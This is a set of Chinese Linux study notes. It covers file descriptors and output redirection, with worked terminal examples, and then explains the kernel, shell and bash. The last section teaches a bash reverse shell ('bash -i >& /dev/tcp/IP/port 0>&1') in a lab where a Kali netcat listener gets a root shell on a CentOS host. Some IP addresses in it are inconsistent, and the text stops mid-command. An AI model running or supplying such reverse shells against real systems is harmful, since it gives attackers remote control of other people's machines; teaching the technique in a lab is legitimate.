重定向和管道

一、重定向

重定向指定特定的输入输出

1.1 文件描述符(FD)

  • 定义:在 Linux 中,文件描述符(File Descriptor)是一个非负整数,用于唯一标识一个进程(程序)打开的文件、管道、网络连接或其他 I/O 资源。它是操作系统管理 I/O 操作的抽象句柄。
  • 本质:可以理解为操作系统为每个进程维护的“通道号码”,通过这个号码访问具体的 I/O 资源。

1.2 标准输入、标准输出、标准错误输出

Linux 为每个进程默认打开三个标准流(Standard Streams),对应三个文件描述符:

  • 标准输入(stdin, FD 0):
    • 默认来源:键盘输入。
    • 用途:程序从 stdin 读取输入数据。
  • 标准输出(stdout, FD 1):
    • 默认去向:终端屏幕。
    • 用途:程序向 stdout 输出正常结果。
  • 标准错误输出(stderr, FD 2):
    • 默认去向:终端屏幕。
    • 用途:程序向 stderr 输出错误信息(与正常结果分离)。

image-20250805165647709

1.3 总结

看到的012就是FD,程序通过描述符访问文件,可以是常规文件,也可以是设备文件。

输出重定向及综合案例

案例1

[root@localhost re]# date > date.txt #创建文件data.txt并将data操作获得的数据覆盖进data.txt
[root@localhost re]# cat date.txt #查看data.txt
2025年 03月 12日 星期三 10:03:51 EDT
[root@localhost re]# date >> date.txt #将data操作获得数据追加进data.txt
[root@localhost re]# cat date.txt #查看
2025年 03月 12日 星期三 10:03:51 EDT
2025年 03月 12日 星期三 10:04:15 EDT
[root@centos ~]# mkdir 333 #创建333目录
[root@centos ~]# rm -rf 333 #彻底删除333目录
[root@centos ~]# mkdir 333 1> 333.txt #创建目录 333,1> 将标准输出重定向到 333.txt,mkdir 默认不输出内容到 stdout,除非使用-v选项,所以默认输出为空文件
[root@centos ~]# cat 333.txt #查看
[root@centos ~]# mkdir -v 444 1> 444.txt #-v操作显示操作内容
[root@centos ~]# cat 444.txt #查看
mkdir: 已创建目录 "444"

image-20250805153401028

案例2

[root@centos ~]# ls /aaaaaaa 2> error.txt #ls /aaaaaaa 尝试列出目录 /aaaaaaa 的内容,2> 将标准错误(文件描述符 2)重定向到 error.txt。
[root@centos ~]# cat error.txt #查看
ls: 无法访问/aaaaaaa: 没有那个文件或目录

image-20250805154604990

案例3

[root@centos ~]# ls /home/ /aaaaaa &>> error.txt #ls /home/ /aaaaaa 尝试列出 /home/ 和 /aaaaaa 目录的内容,/home/ 存在,输出其内容(子目录 zjt),/aaaaaa 不存在,生成错误信息,错误信息执行后会立即显示优先级高
[root@centos ~]# cat error.txt #查看
ls: 无法访问/aaaaaaa: 没有那个文件或目录
ls: 无法访问/aaaaaa: 没有那个文件或目录
/home/:
zjt
[root@centos ~]# ls /home /aaaaaa >& error.txt #ls /home /aaaaaa 再次列出/home和/aaaaaa的内容。/home 输出 zjt(stdout),/aaaaaa 报错(stderr),>&等价于&>,将 stdout 和 stderr 覆盖写入 error.txt
[root@centos ~]# cat error.txt #查看
ls: 无法访问/aaaaaa: 没有那个文件或目录
/home:
zjt

image-20250805154727352

案例4

[root@centos ~]# ls /home/ /aaaaaa 1> output.txt 2> error.txt #将正确输出覆盖到output.txt,将错误覆盖到error.txt
[root@centos ~]# cat output.txt #查看
/home/:
zjt
[root@centos ~]# cat error.txt #查看
ls: 无法访问/aaaaaa: 没有那个文件或目录

image-20250805160738489

案例5

[root@centos ~]# ls /home/ /aaaaaa >all.log 2>&1 # >all.log:将stdout覆盖到 all.log 文件
#2>&1:将 stderr重定向到stdout的位置。由于stdout已重定向到all.logstderr也会写入 all.log。
[root@centos ~]# cat all.log #查看
ls: 无法访问/aaaaaa: 没有那个文件或目录
/home/:
zjt
#为什么不直接用`&>`
兼容性问题:&> 是 Bash 的扩展语法,并非所有 Shell 都支持,而 > file 2>&1 是 POSIX 标准语法,兼容性更广 (而且显得更有水平,逻辑性更强!)

image-20250805161724144

二、bash反弹shell

2.1 什么是内核(kernel)

定义:内核是操作系统的核心,直接管理计算机的硬件资源(CPU、内存、硬盘、网络等)。

职责:

  • 调度进程(决定哪个程序使用 CPU)。

  • 管理内存分配。

  • 控制硬件设备(如读写磁盘、处理网络请求)。

比喻:内核就像一家公司的 CEO,负责所有核心决策和资源分配,但不直接面对普通员工(用户)。

2.2 什么是shell GNU = GNU NOT UNIX

  • 定义:Shell 是用户与内核交互的“桥梁”,是一个命令行解释器。

  • 职责:

    • 接收用户输入的命令(如 ls 、cat )。
    • 将命令翻译成内核能理解的操作。
    • 将内核的执行结果返回给用户。
  • 常见 Shell 类型:

    • Bash(Bourne-Again Shell):Linux 系统默认的 Shell。
    • Zsh(Z Shell):功能更强大的现代 Shell(如 Oh My Zsh)。
    • Fish:对新手友好的 Shell。
  • 比喻:Shell 就像公司的 中层经理,负责将员工的请求(用户命令)传达给 CEO(内核),再将 CEO 的反馈返回给员工。

2.3 什么是bash

  • 定义:Bash 是 Shell 的一种具体实现,全称是 Bourne-Again Shell。

  • 特点:

    • 支持命令历史、自动补全、脚本编程等。
    • Linux 和 macOS 的默认 Shell(Windows 可通过 WSL 或 Git Bash 使用)。
  • 示例:

    当你在终端输入 ls -l ,Bash 会:

    ​ 1.解析命令。

    ​ 2.调用内核的“列出文件”功能。

    ​ 3.将结果(文件列表)输出到屏幕。

  • 比喻:Bash 就像某个 特定部门的高效经理,既能处理常规任务(一些命令:echo、ls等),又能执行复杂流程(如脚本)

2.4 三者的关系

bash 是shell的一种

1.用户输入:在终端输入 cat file.txt 。bash 命令

1、cat命令生成一个临时进程
2、/proc/进程号/fd
3、 0 1 2
4、/dev/pts/1
5、保存并返回给终端
  1. Shell(Bash)解析:识别 cat 命令和参数 file.txt ,然后找到/usr/bin/cat 程序

  2. 调用内核:bash 请求内核调用程序,并传递参数“ file.txt ”。

  3. 内核执行:

检查文件权限。
从硬盘读取文件数据。

  1. 返回结果:内核将文件内容通过 Shell 返回给用户。

2.5 bash反弹shell

bash -i >& /dev/tcp/192.168.20.151/8080 0>&1
  • bash -i

  • bash -i

    打开一个交互的bash

  • /dev/tcp/

    是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,
    读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

  • /dev/tcp/192.168.119.131/1234

    向192.168.119.131 主机的1234端口发起连接

  • bash -i >& /dev/tcp/192.168.119.131/1234

    将标准输出和标准错误输出通过连接发送给192.168.119.131

  • bash -i >& /dev/tcp/192.168.119.131/1234 0>&1

    将标准输入,重定向到标准输出(也通过连接发送给192.168.20.151的8080端口)

bash反弹shell实验

1.开启kali,使用监听工具nc监听1234端口

┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...

nc 是 netcat 的缩写,被称为“网络瑞士军刀”,用于处理 TCP/UDP 网络连接。它的常见用途包括端口
监听、端口扫描、文件传输、网络调试等。
-l listen •监听模式:等待传入连接(服务端模式)。
-v verbose •详细输出:显示连接/通信的详细信息(如对方 IP、端口)。
-p port •指定端口:指定监听的端口号(某些版本中 -p 可省略,直接跟端口)。
-n 禁用dns解析

image-20250805162804581

2.在centos中,执行反弹shell的命令

bash -i >& /dev/tcp/192.168.227.129/1234 0>&1

image-20250805163057484

此时发现kali中返回了centos7的终端页面,拿到了centos7的执行权限

┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
192.168.227.129: inverse host lookup failed: Unknown host
connect to [192.168.227.129] from (UNKNOWN) [192.168.227.128] 45394
[root@centos ~]# hostname
hostname
centos

image-20250805163915270

3.在centos中执行命令,结果输出到kali中

bash >& /dev/tcp/192.168.227.129